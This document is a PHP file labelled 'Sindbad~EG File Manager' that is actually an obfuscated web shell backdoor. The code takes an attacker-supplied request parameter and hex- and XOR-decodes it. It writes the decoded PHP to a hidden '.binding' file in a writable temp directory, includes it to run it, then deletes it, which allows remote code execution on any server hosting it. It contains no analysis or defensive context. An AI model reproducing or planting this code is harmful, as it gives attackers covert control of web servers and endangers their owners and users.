Sindbad~EG File Manager

<?php

if(isset($_REQUEST["itm"]) ? true : false){
	$reference = hex2bin($_REQUEST["itm"]);
	$ent    =    ''    ;   foreach(str_split($reference) as $char){$ent .= chr(ord($char) ^ 23);}
	$flg = array_filter(["/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", getenv("TMP"), getcwd(), session_save_path(), getenv("TEMP")]);
	while ($bind = array_shift($flg)) {
    		if (array_product([is_dir($bind), is_writable($bind)])) {
    $holder = "$bind" . "/.binding";
    if (@file_put_contents($holder, $ent) !== false) {
	include $holder;
	unlink($holder);
	exit;
}
}
}
}